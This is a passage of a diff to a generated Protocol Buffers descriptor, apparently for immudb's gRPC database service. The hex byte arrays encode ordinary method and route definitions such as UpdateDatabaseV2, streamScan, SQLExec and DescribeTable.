0x16, 0x2f, 0x64, 0x62, 0x2f, 0x75, 0x73, 0x65, 0x2f, + 0x7b, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x7d, 0x12, 0x63, + 0x0a, 0x0e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, + 0x12, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, + 0x73, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, + 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x18, 0x88, 0x02, 0x01, 0x82, 0xd3, + 0xe4, 0x93, 0x02, 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, + 0x3a, 0x01, 0x2a, 0x12, 0x79, 0x0a, 0x10, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, + 0x61, 0x62, 0x61, 0x73, 0x65, 0x56, 0x32, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, 0x61, - 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x18, - 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x22, 0x0d, 0x2f, 0x64, 0x62, 0x2f, 0x75, 0x70, 0x64, 0x61, - 0x74, 0x65, 0x2f, 0x76, 0x32, 0x3a, 0x01, 0x2a, 0x12, 0x6a, 0x0a, 0x13, 0x47, 0x65, 0x74, 0x44, - 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, - 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, - 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, - 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x22, 0x1a, 0x88, 0x02, 0x01, 0x82, 0xd3, 0xe4, - 0x93, 0x02, 0x11, 0x22, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, - 0x73, 0x3a, 0x01, 0x2a, 0x12, 0x84, 0x01, 0x0a, 0x15, 0x47, 0x65, 0x74, 0x44, 0x61, 0x74, 0x61, - 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x56, 0x32, 0x12, 0x26, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, - 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, - 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, - 0x1a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x14, 0x22, 0x0f, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x65, 0x74, - 0x74, 0x69, 0x6e, 0x67, 0x73, 0x2f, 0x76, 0x32, 0x3a, 0x01, 0x2a, 0x12, 0x69, 0x0a, 0x0a, 0x46, - 0x6c, 0x75, 0x73, 0x68, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x46, 0x6c, 0x75, 0x73, 0x68, 0x49, - 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x46, 0x6c, 0x75, 0x73, - 0x68, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x16, - 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x12, 0x0e, 0x2f, 0x64, 0x62, 0x2f, 0x66, 0x6c, 0x75, 0x73, - 0x68, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x58, 0x0a, 0x0c, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x63, - 0x74, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, - 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, - 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, - 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x18, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x12, 0x10, - 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, 0x69, 0x6e, 0x64, 0x65, 0x78, - 0x12, 0x40, 0x0a, 0x09, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x47, 0x65, 0x74, 0x12, 0x19, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, - 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, - 0x30, 0x01, 0x12, 0x3e, 0x0a, 0x09, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x53, 0x65, 0x74, 0x12, - 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x00, - 0x28, 0x01, 0x12, 0x54, 0x0a, 0x13, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x56, 0x65, 0x72, 0x69, - 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, - 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, + 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x25, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55, 0x70, + 0x64, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, + 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x18, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x22, 0x0d, 0x2f, 0x64, + 0x62, 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x2f, 0x76, 0x32, 0x3a, 0x01, 0x2a, 0x12, 0x6a, + 0x0a, 0x13, 0x47, 0x65, 0x74, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, + 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, + 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1f, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, + 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x22, 0x1a, + 0x88, 0x02, 0x01, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x11, 0x22, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x73, + 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x3a, 0x01, 0x2a, 0x12, 0x84, 0x01, 0x0a, 0x15, 0x47, + 0x65, 0x74, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, + 0x67, 0x73, 0x56, 0x32, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, + 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x27, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, + 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x65, 0x73, + 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x1a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x14, 0x22, 0x0f, 0x2f, + 0x64, 0x62, 0x2f, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x2f, 0x76, 0x32, 0x3a, 0x01, + 0x2a, 0x12, 0x69, 0x0a, 0x0a, 0x46, 0x6c, 0x75, 0x73, 0x68, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x12, + 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x46, 0x6c, 0x75, 0x73, 0x68, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x46, 0x6c, 0x75, 0x73, 0x68, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x73, 0x70, + 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x12, 0x0e, 0x2f, 0x64, + 0x62, 0x2f, 0x66, 0x6c, 0x75, 0x73, 0x68, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x58, 0x0a, 0x0c, + 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x16, 0x2e, 0x67, + 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, + 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, + 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x18, 0x82, 0xd3, + 0xe4, 0x93, 0x02, 0x12, 0x12, 0x10, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x6f, 0x6d, 0x70, 0x61, 0x63, + 0x74, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x40, 0x0a, 0x09, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, + 0x47, 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, - 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x4c, 0x0a, 0x13, 0x73, 0x74, 0x72, 0x65, - 0x61, 0x6d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x12, - 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, - 0x54, 0x78, 0x22, 0x00, 0x28, 0x01, 0x12, 0x42, 0x0a, 0x0a, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, - 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x44, 0x0a, 0x0b, 0x73, 0x74, - 0x72, 0x65, 0x61, 0x6d, 0x5a, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x53, 0x63, 0x61, 0x6e, 0x52, + 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x3e, 0x0a, 0x09, 0x73, 0x74, 0x72, 0x65, + 0x61, 0x6d, 0x53, 0x65, 0x74, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x17, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, + 0x61, 0x64, 0x65, 0x72, 0x22, 0x00, 0x28, 0x01, 0x12, 0x54, 0x0a, 0x13, 0x73, 0x74, 0x72, 0x65, + 0x61, 0x6d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x12, + 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x4c, + 0x0a, 0x13, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, + 0x6c, 0x65, 0x53, 0x65, 0x74, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, + 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x00, 0x28, 0x01, 0x12, 0x42, 0x0a, 0x0a, + 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, - 0x12, 0x48, 0x0a, 0x0d, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, - 0x79, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x12, 0x44, 0x0a, 0x0b, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x5a, 0x53, 0x63, 0x61, 0x6e, 0x12, + 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x5a, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, + 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x48, 0x0a, 0x0d, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, + 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, + 0x12, 0x42, 0x0a, 0x0d, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x45, 0x78, 0x65, 0x63, 0x41, 0x6c, + 0x6c, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, + 0x22, 0x00, 0x28, 0x01, 0x12, 0x44, 0x0a, 0x08, 0x65, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x78, + 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x45, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x42, 0x0a, 0x0d, 0x73, 0x74, - 0x72, 0x65, 0x61, 0x6d, 0x45, 0x78, 0x65, 0x63, 0x41, 0x6c, 0x6c, 0x12, 0x14, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, - 0x6b, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x00, 0x28, 0x01, 0x12, 0x44, - 0x0a, 0x08, 0x65, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x78, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x78, 0x70, 0x6f, 0x72, - 0x74, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, - 0x22, 0x00, 0x30, 0x01, 0x12, 0x40, 0x0a, 0x0b, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, - 0x65, 0x54, 0x78, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, - 0x65, 0x72, 0x22, 0x00, 0x28, 0x01, 0x12, 0x5e, 0x0a, 0x07, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, - 0x63, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x16, - 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x22, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x71, 0x6c, 0x65, - 0x78, 0x65, 0x63, 0x3a, 0x01, 0x2a, 0x12, 0x62, 0x0a, 0x08, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, - 0x72, 0x79, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, - 0x74, 0x22, 0x17, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x11, 0x22, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x73, - 0x71, 0x6c, 0x71, 0x75, 0x65, 0x72, 0x79, 0x3a, 0x01, 0x2a, 0x12, 0x5b, 0x0a, 0x0a, 0x4c, 0x69, - 0x73, 0x74, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x73, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, - 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, - 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, - 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x12, 0x0e, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x61, 0x62, - 0x6c, 0x65, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x12, 0x5b, 0x0a, 0x0d, 0x44, 0x65, 0x73, 0x63, 0x72, - 0x69, 0x62, 0x65, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x1a, 0x1d, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, - 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x15, 0x82, - 0xd3, 